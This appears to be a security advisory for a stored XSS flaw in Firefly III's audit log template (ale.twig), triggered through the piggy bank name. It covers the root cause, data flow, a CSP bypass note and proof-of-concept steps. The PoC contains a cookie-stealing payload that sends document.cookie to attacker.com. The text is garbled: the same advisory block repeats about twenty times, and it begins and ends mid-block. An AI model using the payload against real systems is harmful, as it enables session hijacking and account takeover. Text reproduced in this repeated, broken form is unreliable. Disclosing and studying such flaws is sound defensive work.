→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Medium
Network
Low
Low
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
